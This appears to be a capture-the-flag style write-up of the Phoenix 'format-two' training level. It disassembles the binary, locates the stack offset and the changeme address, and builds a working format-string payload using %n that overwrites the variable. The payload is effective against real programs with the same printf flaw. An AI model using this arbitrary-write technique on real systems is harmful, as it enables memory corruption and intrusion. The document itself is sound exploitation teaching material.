phoenix - format 2

6 minute read

Lets list the files using ls -la command,

user@phoenix-amd64:~$ ls -la
total 28
drwxr-xr-x 2 user user 4096 Jun 11 07:40 .
drwxr-xr-x 3 root root 4096 Jan 13  2019 ..
-rw-r--r-- 1 user user  220 Jan 13  2019 .bash_logout
-rw-r--r-- 1 user user 3526 Jan 13  2019 .bashrc
-rw-r--r-- 1 user user  675 Jan 13  2019 .profile
-rwxr-xr-x 1 user user 6224 Jun 11 07:40 format-two

Lets analyze the file type of our binary using file command,

user@phoenix-amd64:~$ file format-two
format-two: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1, not stripped

So our binary is a not stripped binary

Lets try running our binary,

user@phoenix-amd64:~$ ./format-two
Welcome to phoenix/format-two, brought to you by https://exploit.education
Better luck next time!

user@phoenix-amd64:~$ ./format-two monish
Welcome to phoenix/format-two, brought to you by https://exploit.education
monishBetter luck next time!

It seems like it is expecting some different input

Listing the functions inside the binary using GDB,

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000400480  _init
0x00000000004004a0  printf@plt
0x00000000004004b0  puts@plt
0x00000000004004c0  strncpy@plt
0x00000000004004d0  memset@plt
0x00000000004004e0  exit@plt
0x00000000004004f0  __libc_start_main@plt
0x0000000000400500  _start
0x0000000000400516  _start_c
0x0000000000400540  deregister_tm_clones
0x0000000000400570  register_tm_clones
0x00000000004005b0  __do_global_dtors_aux
0x0000000000400640  frame_dummy
0x000000000040066d  bounce
0x000000000040068d  main
0x0000000000400730  __do_global_ctors_aux
0x0000000000400772  _fini

There are two relevant functions, main() and bounce()

Disassembling main(),

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040068d <+0>:	    push   rbp
   0x000000000040068e <+1>:	    mov    rbp,rsp
   0x0000000000400691 <+4>:	    sub    rsp,0x110
   0x0000000000400698 <+11>:	mov    DWORD PTR [rbp-0x104],edi
   0x000000000040069e <+17>:	mov    QWORD PTR [rbp-0x110],rsi
   0x00000000004006a5 <+24>:	mov    edi,0x400780
   0x00000000004006aa <+29>:	call   0x4004b0 <puts@plt>
   0x00000000004006af <+34>:	cmp    DWORD PTR [rbp-0x104],0x1
   0x00000000004006b6 <+41>:	jle    0x400705 <main+120>
   0x00000000004006b8 <+43>:	lea    rax,[rbp-0x100]
   0x00000000004006bf <+50>:	mov    edx,0x100
   0x00000000004006c4 <+55>:	mov    esi,0x0
   0x00000000004006c9 <+60>:	mov    rdi,rax
   0x00000000004006cc <+63>:	call   0x4004d0 <memset@plt>
   0x00000000004006d1 <+68>:	mov    rax,QWORD PTR [rbp-0x110]
   0x00000000004006d8 <+75>:	add    rax,0x8
   0x00000000004006dc <+79>:	mov    rcx,QWORD PTR [rax]
   0x00000000004006df <+82>:	lea    rax,[rbp-0x100]
   0x00000000004006e6 <+89>:	mov    edx,0x100
   0x00000000004006eb <+94>:	mov    rsi,rcx
   0x00000000004006ee <+97>:	mov    rdi,rax
   0x00000000004006f1 <+100>:	call   0x4004c0 <strncpy@plt>
   0x00000000004006f6 <+105>:	lea    rax,[rbp-0x100]
   0x00000000004006fd <+112>:	mov    rdi,rax
   0x0000000000400700 <+115>:	call   0x40066d <bounce>
   0x0000000000400705 <+120>:	mov    eax,DWORD PTR [rip+0x2003e5]        # 0x600af0 <changeme>
   0x000000000040070b <+126>:	test   eax,eax
   0x000000000040070d <+128>:	je     0x40071b <main+142>
   0x000000000040070f <+130>:	mov    edi,0x4007d0
   0x0000000000400714 <+135>:	call   0x4004b0 <puts@plt>
   0x0000000000400719 <+140>:	jmp    0x400725 <main+152>
   0x000000000040071b <+142>:	mov    edi,0x40080f
   0x0000000000400720 <+147>:	call   0x4004b0 <puts@plt>
   0x0000000000400725 <+152>:	mov    edi,0x0
   0x000000000040072a <+157>:	call   0x4004e0 <exit@plt>
End of assembler dump.

Disassembling bounce(),

(gdb) disas bounce
Dump of assembler code for function bounce:
   0x000000000040066d <+0>:	    push   rbp
   0x000000000040066e <+1>:   	mov    rbp,rsp
   0x0000000000400671 <+4>:	    sub    rsp,0x10
   0x0000000000400675 <+8>:  	mov    QWORD PTR [rbp-0x8],rdi
   0x0000000000400679 <+12>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040067d <+16>:	mov    rdi,rax
   0x0000000000400680 <+19>:	mov    eax,0x0
   0x0000000000400685 <+24>:	call   0x4004a0 <printf@plt>
   0x000000000040068a <+29>:	nop
   0x000000000040068b <+30>:	leave
   0x000000000040068c <+31>:	ret
End of assembler dump.

Lets view the source code for proper understanding,

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int changeme;

void bounce(char *str) {
  printf(str);
}

int main(int argc, char **argv) {
  char buf[256];

  printf("%s\n", BANNER);

  if (argc > 1) {
    memset(buf, 0, sizeof(buf));
    strncpy(buf, argv[1], sizeof(buf));
    bounce(buf);
  }

  if (changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  } else {
    puts("Better luck next time!\n");
  }

  exit(0);
}

COMMON BADCHARS

  • \x00 (Null)
  • \x09 (Tab)
  • \x0a (New line)
  • \x0d (Return)
  • \x20 (Space)

So there is no way we could overwrite changeme with a buffer

But in order to pass the program, we have to change the changeme variable

Lets try passing some format strings in it,

user@phoenix-amd64:~$ ./format-two %p%p%p%p%p%p%p%p
Welcome to phoenix/format-two, brought to you by https://exploit.education
00xf000x7fffffffe5a00x7fffffffe54f0x7fffffffe5900x7fffffffe5900x7fffffffe690Better luck next time!

So it is popping the values from stack

Lets find the offset where our input comes into stack

user@phoenix-amd64:~$ ./format-two AAAABBBB%p%p%p%p%p%p%p%p%p%p%p%p%p
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAABBBB00xe00x7fffffffe5a20x7fffffffe53f0x7fffffffe5800x7fffffffe5800x7fffffffe6800x4007050x7fffffffe6d80x2004003680x42424242414141410x7025702570257025Better luck next time!

So our input comes in the 12th offset 0x4242424241414141

We can also pass this like,

user@phoenix-amd64:~$ ./format-two "AAAABBBB %p %p %p %p %p %p %p %p %p %p %p %p %p"
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAABBBB 0 0x1 0 0x7fffffffe59f 0x7fffffffe52f 0x7fffffffe570 0x7fffffffe570 0x7fffffffe670 0x400705 0x7fffffffe6c8 0x200400368 0x4242424241414141 0x2520702520702520Better luck next time!

We cannot point the offset directly in our input, it fails like this

user@phoenix-amd64:~$ ./format-two "AAAA %12$p"
Welcome to phoenix/format-two, brought to you by https://exploit.education
Better luck next time!

We have to use our whole buffer space for this

For address of changeme,

  0x0000000000400705 <+120>:	mov    eax,DWORD PTR [rip+0x2003e5]        # 0x600af0 <changeme>

or try listing variables in GDB using info variables

or try using nm to read symbols,

user@phoenix-amd64:~$ nm format-two  | grep changeme
0000000000600af0 B changeme

Our changeme is at 0x600af0

Lets try to point our 12th offset with this from input,

user@phoenix-amd64:~$ ./format-two $(python -c 'print "\xf0\x0a\x60" + "%p"*11 + "%p"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
etter luck next time!


user@phoenix-amd64:~$ ./format-two $(python -c 'print "\xf0\xaa\x60" + "%p"*11 + "%p"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
00x500x7fffffffe59b0x7fffffffe53f0x7fffffffe5800x7fffffffe5800x7fffffffe6800x4007050x7fffffffe6d80x2004003680x257025702560aaf0Better luck next time!

But the problem is you cannot pass null bytes and bad chars into input as address (Here \x0a is a bad char)

So we could not execute it correctly,it leads to segmentation fault or errors

So lets try it on 32 bit,

For address of changeme in 32bit:

(gdb) info variables
All defined variables:

Non-debugging symbols:
0x080486c4  __GNU_EH_FRAME_HDR
0x08048724  __EH_FRAME_BEGIN__
0x0804876c  __FRAME_END__
0x08049770  __CTOR_LIST__
0x08049774  __CTOR_END__
0x08049778  __DTOR_LIST__
0x0804977c  __DTOR_END__
0x08049780  _DYNAMIC
0x08049820  _GLOBAL_OFFSET_TABLE_
0x08049844  __dso_handle
0x08049848  __TMC_END__
0x08049848  __bss_start
0x08049848  _edata
0x08049848  completed
0x0804984c  dtor_idx
0x08049850  object
0x08049868  changeme
0x0804986c  _end

or

user@phoenix-amd64:/opt/phoenix/i486$ nm format-two  | grep changeme
08049868 B changeme

Address of changeme is at 0x08049868

user@phoenix-amd64:/opt/phoenix/i486$ ./format-two $(python -c 'print "AAAA" + "%p"*11 + "%p"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAA0xffffd8d00x10000xf7f84b670xffffd7400xffffd7280x80485a00xffffd6200xffffd8d00x1000x3e80x41414141Better luck next time!

Lets try placing the address of changeme in input

user@phoenix-amd64:/opt/phoenix/i486$ ./format-two $(python -c 'print "\x68\x98\x04\x08" + "%p"*11 + "%p"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
0xffffd8d00x10000xf7f84b670xffffd7400xffffd7280x80485a00xffffd6200xffffd8d00x1000x3e80x8049868Better luck next time!

So we could place the address of changeme using format string

Now here comes the important part of the exploit,

We should use %n to perform arbitrary write on the specific address location

%n writes the value of number of charaters written so far into the address

Now if we use %n instead of %p at the 12th offset which has the address of changeme, it tries to perform arbitrary write on changeme and passes the condition of the program

user@phoenix-amd64:/opt/phoenix/i486$ ./format-two $(python -c 'print "\x68\x98\x04\x08" + "%p"*11 + "%n"')
Welcome to phoenix/format-two, brought to you by https://exploit.education
0xffffd8d00x10000xf7f84b670xffffd7400xffffd7280x80485a00xffffd6200xffffd8d00x1000x3e8Well done, the 'changeme' variable has been changed correctly!

We have overwritten the value of changeme successfully using format string arbitrary write

Done! we have completed “format-two”